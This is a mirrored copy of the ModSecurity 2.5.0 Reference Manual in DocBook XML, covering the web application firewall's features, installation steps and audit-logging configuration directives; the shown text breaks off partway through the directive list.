mirror of
https://github.com/owasp-modsecurity/ModSecurity.git
synced 2025-08-13 21:36:00 +03:00
5916 lines
231 KiB
XML
5916 lines
231 KiB
XML
<?xml version="1.0" encoding="UTF-8"?>
|
|
<article>
|
|
<title>ModSecurity Reference Manual</title>
|
|
|
|
<articleinfo>
|
|
<releaseinfo>Version 2.5.0 (February 19, 2008)</releaseinfo>
|
|
|
|
<copyright>
|
|
<year>2004-2008</year>
|
|
|
|
<holder>Breach Security, Inc. (<ulink
|
|
url="http://www.breach.com">http://www.breach.com</ulink>)</holder>
|
|
</copyright>
|
|
</articleinfo>
|
|
|
|
<section id="01-introduction">
|
|
<title>Introduction</title>
|
|
|
|
<para><trademark class="trade">ModSecurity</trademark> is a web
|
|
application firewall (WAF). With over 70% of all attacks now carried out
|
|
over the web application level, organisations need every help they can get
|
|
in making their systems secure. WAFs are deployed to establish an external
|
|
security layer that increases security, detects, and prevents attacks
|
|
before they reach web applications. It provides protection from a range of
|
|
attacks against web applications and allows for HTTP traffic monitoring
|
|
and real-time analysis with little or no changes to existing
|
|
infrastructure.</para>
|
|
|
|
<section>
|
|
<title>HTTP Traffic Logging</title>
|
|
|
|
<para>Web servers are typically well-equipped to log traffic in a form
|
|
useful for marketing analyses, but fall short when it comes to logging
|
|
of traffic to web applications. In particular, most are not capable of
|
|
logging the request bodies. Your adversaries know this, and that is why
|
|
most attacks are now carried out via POST requests, rendering your
|
|
systems blind. ModSecurity makes full HTTP transaction logging possible,
|
|
allowing complete requests and responses to be logged. Its logging
|
|
facilities also allow fine-grained decisions to be made about exactly
|
|
what is logged and when, ensure only the relevant data is
|
|
recorded.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Real-Time Monitoring and Attack Detection</title>
|
|
|
|
<para>In addition to providing logging facilities, ModSecurity can
|
|
monitor the HTTP traffic in real time in order to detect attacks. In
|
|
this case ModSecurity operates as a web intrusion detection tool,
|
|
allowing you to react to suspicious events that take place at your web
|
|
systems.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Attack Prevention and Just-in-time Patching</title>
|
|
|
|
<para>ModSecurity can also act immediately to prevent attacks from
|
|
reaching your web applications. There are three commonly used
|
|
approaches:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para>Negative security model. Negative security model monitors
|
|
requests for anomalies, unusual behaviour, and common web
|
|
application attacks. It keeps anomaly scores for each request, IP
|
|
addresses, application sessions, and user accounts. Requests with
|
|
high anomaly scores are either logged or rejected altogether.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Positive security model. When positive security model is
|
|
deployed, only requests that are known to be valid are accepted,
|
|
with everything else rejected. This approach works best with
|
|
applications that are heavily used but rarely updated.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Known weaknesses and vulnerabilities. Its rule language makes
|
|
ModSecurity an ideal external patching tool. External patching is
|
|
all about reducing the window of opportunity. Time needed to patch
|
|
application vulnerabilities often runs to weeks in many
|
|
organisations. With ModSecurity, applications can be patched from
|
|
the outside, without touching the application source code (and even
|
|
without any access to it), making your systems secure until a proper
|
|
patch is produced.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Flexible Rule Engine</title>
|
|
|
|
<para>A flexible rule engine sits in the heart of ModSecurity. It
|
|
implements the ModSecurity Rule Language, which is a specialised
|
|
programming language designed to work with HTTP transaction data. The
|
|
ModSecurity Rule Language was designed to be easy to use, yet flexible:
|
|
common operations are simple while complex operations are possible.
|
|
Certified ModSecurity Rules, included with subscription to ModSecurity,
|
|
contain a comprehensive set of rules that implement general-purpose
|
|
hardening, common web application security issues. Heavily commented,
|
|
these rules can be used as a learning tool.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Embedded-mode Deployment</title>
|
|
|
|
<para>ModSecurity is an embeddable web application firewall, which means
|
|
it can be deployed as part of your existing web server infrastructure
|
|
provided your web servers are Apache-based. This deployment method has
|
|
certain advantages:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para>No changes to existing network. It only takes a few minutes to
|
|
add ModSecurity to your existing web servers. And because it was
|
|
designed to be completely passive by default, you are free to deploy
|
|
it incrementally and only use the features you need. It is equally
|
|
easy to remove or deactivate it should decide you don't want it any
|
|
more.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>No single point of failure. Unlike with network-based
|
|
deployments, you will not be introducing a new point of failure to
|
|
your system.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Implicit load balancing and scaling. Because it works embedded
|
|
in web servers, ModSecurity will automatically take advantage of the
|
|
additional load balancing and scalability features. You will not
|
|
need to think of load balancing and scaling unless your existing
|
|
system needs them.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Minimal overhead. Because it works from inside the web server
|
|
process there is no overhead for network communication and minimal
|
|
overhead in parsing and data exchange.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>No problem with encrypted or compressed content. Many IDS
|
|
systems have difficulties analysing SSL traffic. This is not a
|
|
problem for ModSecurity because it is positioned to work when the
|
|
traffic is decrypted and decompressed.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<para>ModSecurity is known to work well on a wide range of operating
|
|
systems. Our customers are successfully running it on Linux, Windows,
|
|
Solaris, FreeBSD, OpenBSD, NetBSD, AIX, Mac OS X, and HP-UX.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Network-based Deployment</title>
|
|
|
|
<para>ModSecurity works equally well when deployed as part of an
|
|
Apache-based reverse proxy server, and many of our customers choose to
|
|
do so. In this scenario, one installation of ModSecurity can protect any
|
|
number of web servers (even the non-Apache ones).</para>
|
|
</section>
|
|
|
|
<section id="03-licensing">
|
|
<title>Licensing</title>
|
|
|
|
<para>ModSecurity is available under two licenses. Users can choose to
|
|
use the software under the terms of the GNU General Public License
|
|
version 2 (licence text is included with the distribution), as an Open
|
|
Source / Free Software product. A range of commercial licenses is also
|
|
available, together with a range of commercial support contracts. For
|
|
more information on commercial licensing please contact Breach
|
|
Security.</para>
|
|
|
|
<note>
|
|
<para>ModSecurity, mod_security, and ModSecurity Pro are trademarks or
|
|
registered trademarks of Breach Security, Inc.</para>
|
|
</note>
|
|
</section>
|
|
</section>
|
|
|
|
<section>
|
|
<title>ModSecurity Core Rules</title>
|
|
|
|
<section>
|
|
<title>Overview</title>
|
|
|
|
<para>ModSecurity is a web application firewall engine that provides
|
|
very little protection on its own. In order to become useful,
|
|
ModSecurity must be configured with rules. In order to enable users to
|
|
take full advantage of ModSecurity out of the box, Breach Security Inc.
|
|
is providing a free certified rule set for ModSecurity 2.0. Unlike
|
|
intrusion detection and prevention systems, which rely on signature
|
|
specific to known vulnerabilities, the Core Rules provide generic
|
|
protection from unknown vulnerabilities often found in web applications,
|
|
which are in most cases custom coded. The Core Rules are heavily
|
|
commented to allow it to be used as a step-by-step deployment guide for
|
|
ModSecurity. The latest Core Rules can be found at the ModSecurity
|
|
website - <ulink
|
|
url="http://www.modsecurity.org/projects/rules/">http://www.modsecurity.org/projects/rules/</ulink>.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Core Rules Structure</title>
|
|
|
|
<para>If you expect a single pack of Apache configuration files, you are
|
|
right, and wrong. A ModSecurity rule set includes information about
|
|
different areas:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>The logic required to detect attacks.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>A policy setting the actions to perform if an attack is
|
|
detected.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Information regarding attacks.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
|
|
<para>In order to allow separate management of the different parts, the
|
|
Core Rules are based on templates that are generated into a run-time
|
|
rule set by inserting policy, patterns and event information. The Core
|
|
Rules package includes these templates, the generation script (written
|
|
in Perl) and data files required to generate a useful rule set. It also
|
|
includes a bunch of pre-generated rule sets for different policies. The
|
|
generation script also allows two optimizations:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>Optimal use of regular expressions. Since regular expressions
|
|
are much more efficient if assembled into a single expression and
|
|
optimized, the generation script takes the list of patterns that are
|
|
required for a rule and optimize them into a most efficient regular
|
|
expression.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Removal of rules that are not utilized by a specific
|
|
policy.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title>Core Rules Content</title>
|
|
|
|
<para>In order to provide generic web applications protection, the Core
|
|
Rules use the following techniques:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>HTTP protection - detecting violations of the HTTP protocol
|
|
and a locally defined usage policy.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Common Web Attacks Protection - detecting common web
|
|
application security attack.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Automation detection - Detecting bots, crawlers, scanners and
|
|
other surface malicious activity.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Trojan Protection - Detecting access to Trojans horses.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Error Hiding - Disguising error messages sent by the
|
|
server.</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
</section>
|
|
|
|
<section id="02-installation">
|
|
<title>Installation</title>
|
|
|
|
<para>ModSecurity installation consists of the following steps:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para>ModSecurity 2.x works with Apache 2.0.x or better.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Make sure you have <literal
|
|
moreinfo="none">mod_unique_id</literal> installed.</para>
|
|
|
|
<para>mod_unique_id is packaged with Apache httpd.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Install the latest version of libxml2, if it isn't already
|
|
installed on the server.</para>
|
|
|
|
<para><ulink type=""
|
|
url="http://xmlsoft.org/downloads.html">http://xmlsoft.org/downloads.html</ulink></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Install the latest version of Lua in the 5.1.x branch, if it
|
|
isn't already installed on the server.</para>
|
|
|
|
<para><ulink type=""
|
|
url="http://www.lua.org/download.html">http://www.lua.org/download.html</ulink></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Stop Apache httpd</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Unpack the ModSecurity archive</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Building differs for UNIX (or UNIX-like) operating systems and
|
|
Windows.</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para>UNIX</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para>Run the configure script to generate a Makefile.
|
|
Typically no options are needed.</para>
|
|
|
|
<para><literal>./configure</literal></para>
|
|
|
|
<para>Options are available for more customization (use
|
|
<literal>./configure --help</literal> for a full list), but
|
|
typically you will only need to specify the location of the
|
|
<literal>apxs</literal> command installed by Apache httpd with
|
|
the <literal>--with-apxs</literal> option.</para>
|
|
|
|
<para><literal>./configure
|
|
--with-apxs=/path/to/httpd-2.x.y/bin/apxs</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Compile with: <literal>make</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Optionally test with: <literal>make
|
|
test</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Optionally build the ModSecurity Log Collector with:
|
|
<literal>make mlogc</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Optionally install <literal>mlogc</literal>: Review the
|
|
<literal>INSTALL</literal> file included in the
|
|
apache2/mlogc-src directory in the distribution.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Install the ModSecurity module with: <literal>make
|
|
install</literal></para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Windows (MS VC++ 8)</para>
|
|
|
|
<orderedlist>
|
|
<listitem>
|
|
<para>Edit <literal>Makefile.win</literal> to configure the
|
|
Apache base and library paths.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Compile with: <literal>nmake -f
|
|
Makefile.win</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Install the ModSecurity module with: <literal>nmake -f
|
|
Makefile.win install</literal></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Copy the <literal>libxml2.dll</literal> and
|
|
<literal>lua5.1.dll</literal> to the Apache
|
|
<literal>bin</literal> directory. Alternatively you can follow
|
|
the step below for using LoadFile to load these
|
|
libraries.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Edit the main Apache httpd config file (usually
|
|
<literal>httpd.conf</literal>)</para>
|
|
|
|
<para>On UNIX (and Windows if you did not copy the DLLs as stated
|
|
above) you must load libxml2 and lua5.1 before ModSecurity with
|
|
something like this:</para>
|
|
|
|
<para><programlisting>LoadFile /usr/lib/libxml2.so
|
|
LoadFile /usr/lib/liblua5.1.so</programlisting></para>
|
|
|
|
<para>Load the ModSecurity module with:<programlisting>LoadModule security2_module modules/mod_security2.so</programlisting></para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Configure ModSecurity</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>Start Apache httpd</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para>You should now have ModSecurity 2.x up and running.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
|
|
<note>
|
|
<para>If you have compiled Apache yourself you might experience problems
|
|
compiling ModSecurity against PCRE. This is because Apache bundles PCRE
|
|
but this library is also typically provided by the operating system. I
|
|
would expect most (all) vendor-packaged Apache distributions to be
|
|
configured to use an external PCRE library (so this should not be a
|
|
problem).</para>
|
|
|
|
<para>You want to avoid Apache using the bundled PCRE library and
|
|
ModSecurity linking against the one provided by the operating system.
|
|
The easiest way to do this is to compile Apache against the PCRE library
|
|
provided by the operating system (or you can compile it against the
|
|
latest PCRE version you downloaded from the main PCRE distribution
|
|
site). You can do this at configure time using the<literal
|
|
moreinfo="none"> --with-pcre</literal> switch. If you are not in a
|
|
position to recompile Apache then, to compile ModSecurity successfully,
|
|
you'd still need to have access to the bundled PCRE headers (they are
|
|
available only in the Apache source code) and change the include path
|
|
for ModSecurity (as you did in step 7 above) to point to them.</para>
|
|
|
|
<para>Do note that if your Apache is using an external PCRE library you
|
|
can compile ModSecurity with <literal
|
|
moreinfo="none">WITH_PCRE_STUDY</literal> defined,which would possibly
|
|
give you a slight performance edge in regular expression
|
|
processing.</para>
|
|
</note>
|
|
</section>
|
|
|
|
<section id="03-configuration-directives">
|
|
<title>Configuration Directives</title>
|
|
|
|
<para>The following section outlines all of the ModSecurity directives.
|
|
Most of the ModSecurity directives can be used inside the various Apache
|
|
Scope Directives such as <literal>VirtualHost</literal>,
|
|
<literal>Location</literal>, <literal>LocationMatch</literal>,
|
|
<literal>Directory</literal>, etc... There are others, however, that can
|
|
only be used once in the main configuration file. This information is
|
|
specified in the Scope sections below.</para>
|
|
|
|
<para>These rules, along with the Core rules files, should be contained is
|
|
files outside of the httpd.conf file and called up with Apache "Include"
|
|
directives. This allows for easier updating/migration of the rules. If you
|
|
create your own custom rules that you would like to use with the Core
|
|
rules, you should create a file called -
|
|
<filename>modsecurity_crs_15_customrules.conf</filename> and place it in
|
|
the same directory as the Core rules files. By using this file name, your
|
|
custom rules will be called up after the standard ModSecurity Core rules
|
|
configuration file but before the other Core rules. This allows your rules
|
|
to be evaluate first which can be useful if you need to implement specific
|
|
"allow" rules or to correct any false positives in the Core rules as they
|
|
are applied to your site.</para>
|
|
|
|
<note>
|
|
<para>It is highly encouraged that you do not edit the Core rules files
|
|
themselves but rather place all changes (such as
|
|
<literal>SecRuleRemoveByID</literal>, etc...) in your custom rules file.
|
|
This will allow for easier upgrading as newer Core rules are released by
|
|
Breach Security on the ModSecurity website.</para>
|
|
</note>
|
|
|
|
<section>
|
|
<title><literal>SecAction</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Unconditionally processes the
|
|
action list it receives as the first and only parameter. It accepts one
|
|
parameter, the syntax of which is identical to the third parameter
|
|
of<literal moreinfo="none"> SecRule</literal>.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecAction
|
|
action1,action2,action2</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAction
|
|
nolog,redirect:http://www.hostname.com</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
|
|
<para>SecAction is best used when you unconditionally execute an action.
|
|
This is explicit triggering whereas the normal Actions are conditional
|
|
based on data inspection of the request/response. This is a useful
|
|
directive when you want to run certain actions such as
|
|
<literal>initcol</literal> to initialize collections.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecArgumentSeparator</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Specifies which character to use
|
|
as separator for<literal moreinfo="none">
|
|
application/x-www-form-urlencoded</literal> content. Defaults to
|
|
<literal moreinfo="none">&</literal>. Applications are sometimes
|
|
(very rarely) written to use a semicolon (<literal
|
|
moreinfo="none">;</literal>).</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecArgumentSeparator character</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecArgumentSeparator ;</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> Any</para>
|
|
|
|
<para><emphasis> <emphasis>Scope:</emphasis> </emphasis> Main</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
|
|
|
|
<para>This directive is needed if a backend web application is using a
|
|
non-standard argument separator. If this directive is not set properly
|
|
for each web application, then ModSecurity will not be able to parse the
|
|
arguments appropriately and the effectiveness of the rule matching will
|
|
be significantly decreased.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecAuditEngine</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the audit logging
|
|
engine.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecAuditEngine On|Off|RelevantOnly</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAuditEngine On</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Can be set/changed with
|
|
the "<literal>ctl</literal>" action for the current transaction.</para>
|
|
|
|
<para>Example: The following example shows the various audit directives
|
|
used together.</para>
|
|
|
|
<programlisting format="linespecific"><emphasis>SecAuditEngine RelevantOnly</emphasis>
|
|
SecAuditLog logs/audit/audit.log
|
|
SecAuditLogParts ABCFHZ
|
|
SecAuditLogType concurrent
|
|
SecAuditLogStorageDir logs/audit
|
|
<emphasis>SecAuditLogRelevantStatus ^[45]</emphasis></programlisting>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">On</literal> - log all transactions
|
|
by default.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Off</literal> - do not log
|
|
transactions by default.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">RelevantOnly</literal> - by default
|
|
only log transactions that have triggered a warning or an error, or
|
|
have a status code that is considered to be relevant (see<literal
|
|
moreinfo="none"> SecAuditLogRelevantStatus</literal>).</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecAuditLog</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the path to the main
|
|
audit log file.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecAuditLog
|
|
/path/to/auditlog</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAuditLog
|
|
/usr/local/apache/logs/audit.log</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> This file is open on
|
|
startup when the server typically still runs as<emphasis>
|
|
root</emphasis>. You should not allow non-root users to have write
|
|
privileges for this file or for the directory it is stored in..</para>
|
|
|
|
<para>This file will be used to store the audit log entries if serial
|
|
audit logging format is used. If concurrent audit logging format is used
|
|
this file will be used as an index, and contain a record of all audit
|
|
log files created. If you are planning to use Concurrent audit logging
|
|
and sending your audit log data off to a remote Console host or
|
|
commercial ModSecurity Management Appliance, then you will need to
|
|
configure and use the ModSecurity Log Collector (mlogc) and use the
|
|
following format for the audit log:</para>
|
|
|
|
<para><programlisting format="linespecific">SecAuditLog "|/path/to/mlogc /path/to/mlogc.conf"</programlisting></para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecAuditLog2</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the path to the
|
|
secondary audit log index file when concurrent logging is enabled. See
|
|
<literal moreinfo="none">SecAuditLog2</literal> for more details.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecAuditLog2
|
|
/path/to/auditlog2</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAuditLog2
|
|
/usr/local/apache/logs/audit2.log</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> A main audit log must be
|
|
defined via <literal moreinfo="none">SecAuditLog</literal> before this
|
|
directive may be used. Additionally, this log is only used for
|
|
replicating the main audit log index file when concurrent audit logging
|
|
is used. It will <emphasis>not</emphasis> be used for non-concurrent
|
|
audit logging.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecAuditLogParts</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Defines the path to the main
|
|
audit log file.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogParts PARTS</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogParts ABCFHZ</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis> <emphasis>Scope:</emphasis> </emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> At this time ModSecurity
|
|
does not log response bodies of stock Apache responses (e.g. <literal
|
|
moreinfo="none">404</literal>), or the <literal
|
|
moreinfo="none">Server</literal> and <literal
|
|
moreinfo="none">Date</literal> response headers.</para>
|
|
|
|
<para>Default:<literal moreinfo="none"> ABCFHZ</literal>.</para>
|
|
|
|
<para>Available audit log parts:</para>
|
|
|
|
<itemizedlist>
|
|
<listitem>
|
|
<para><literal moreinfo="none">A</literal> - audit log header
|
|
(mandatory)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">B</literal> - request headers</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">C</literal> - request body (present
|
|
only if the request body exists and ModSecurity is configured to
|
|
intercept it)</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">D</literal> - RESERVED for
|
|
intermediary response headers, not implemented yet.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">E</literal> - intermediary response
|
|
body (present only if ModSecurity is configured to intercept
|
|
response bodies, and if the audit log engine is configured to record
|
|
it). Intermediary response body is the same as the actual response
|
|
body unless ModSecurity intercepts the intermediary response body,
|
|
in which case the actual response body will contain the error
|
|
message (either the Apache default error message, or the
|
|
ErrorDocument page).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">F</literal> - final response headers
|
|
(excluding the Date and Server headers, which are always added by
|
|
Apache in the late stage of content delivery).</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">G</literal> - RESERVED for the actual
|
|
response body, not implemented yet.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">H</literal> - audit log
|
|
trailer</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">I</literal> - This part is a
|
|
replacement for part C. It will log the same data as C in all cases
|
|
except when <literal moreinfo="none">multipart/form-data</literal>
|
|
encoding in used. In this case it will log a fake <literal
|
|
moreinfo="none">application/x-www-form-urlencoded</literal> body
|
|
that contains the information about parameters but not about the
|
|
files. This is handy if you don't want to have (often large) files
|
|
stored in your audit logs.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">J</literal> - RESERVED. This part,
|
|
when implemented, will contain information about the files uploaded
|
|
using <literal>multipart/form-data</literal> encoding.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">K</literal> - This part contains a
|
|
full list of every rule that matched (one per line) in the order
|
|
they were matched. The rules are fully qualified and will thus show
|
|
inherited actions and default operators. Supported as of
|
|
v2.5.0</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Z</literal> - final boundary,
|
|
signifies the end of the entry (mandatory)</para>
|
|
</listitem>
|
|
</itemizedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecAuditLogRelevantStatus</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures which response status
|
|
code is to be considered relevant for the purpose of audit
|
|
logging.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogRelevantStatus REGEX</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogRelevantStatus ^[45]</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Must have the
|
|
<literal>SecAuditEngine</literal> set to
|
|
<literal>RelevantOnly</literal>. The parameter is a regular
|
|
expression.</para>
|
|
|
|
<para>The main purpose of this directive is to allow you to configure
|
|
audit logging for only transactions that generate the specified HTTP
|
|
Response Status Code. This directive is often used to the decrease the
|
|
total size of the audit log file. Keep in mind that if this parameter is
|
|
used, then successful attacks that result in a 200 OK status code will
|
|
not be logged.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecAuditLogStorageDir</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the storage directory
|
|
where concurrent audit log entries are to be stored.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogStorageDir
|
|
/path/to/storage/dir</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogStorageDir
|
|
/usr/local/apache/logs/audit</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> SecAuditLogType must be
|
|
set to Concurrent. The directory must already be created before starting
|
|
Apache and it must be writable by the web server user as new files are
|
|
generated at runtime.</para>
|
|
|
|
<para>As with all logging mechanisms, ensure that you specify a file
|
|
system location that has adequate disk space and is not on the root
|
|
partition.</para>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecAuditLogType</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Configures the type of audit
|
|
logging mechanism to be used.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogType Serial|Concurrent</literal></para>
|
|
|
|
<para><emphasis>Example Usage:</emphasis> <literal
|
|
moreinfo="none">SecAuditLogType Serial</literal></para>
|
|
|
|
<para><emphasis>Processing Phase:</emphasis> N/A</para>
|
|
|
|
<para><emphasis>Scope:</emphasis> Any</para>
|
|
|
|
<para><emphasis>Dependencies/Notes:</emphasis> Must specify
|
|
<literal>SecAuditLogStorageDir</literal> if you use concurrent
|
|
logging.</para>
|
|
|
|
<para>Possible values are:</para>
|
|
|
|
<orderedlist continuation="restarts" inheritnum="ignore">
|
|
<listitem>
|
|
<para><literal moreinfo="none">Serial</literal> - all audit log
|
|
entries will be stored in the main audit logging file. This is more
|
|
convenient for casual use but it is slower as only one audit log
|
|
entry can be written to the file at any one file.</para>
|
|
</listitem>
|
|
|
|
<listitem>
|
|
<para><literal moreinfo="none">Concurrent</literal> - audit log
|
|
entries will be stored in separate files, one for each transaction.
|
|
Concurrent logging is the mode to use if you are going to send the
|
|
audit log data off to a remote ModSecurity Console host.</para>
|
|
</listitem>
|
|
</orderedlist>
|
|
</section>
|
|
|
|
<section>
|
|
<title><literal>SecCacheTransformations</literal></title>
|
|
|
|
<para><emphasis>Description:</emphasis> Controls caching of
|
|
transformations.</para>
|
|
|
|
<para><emphasis>Syntax:</emphasis> <literal
|
|
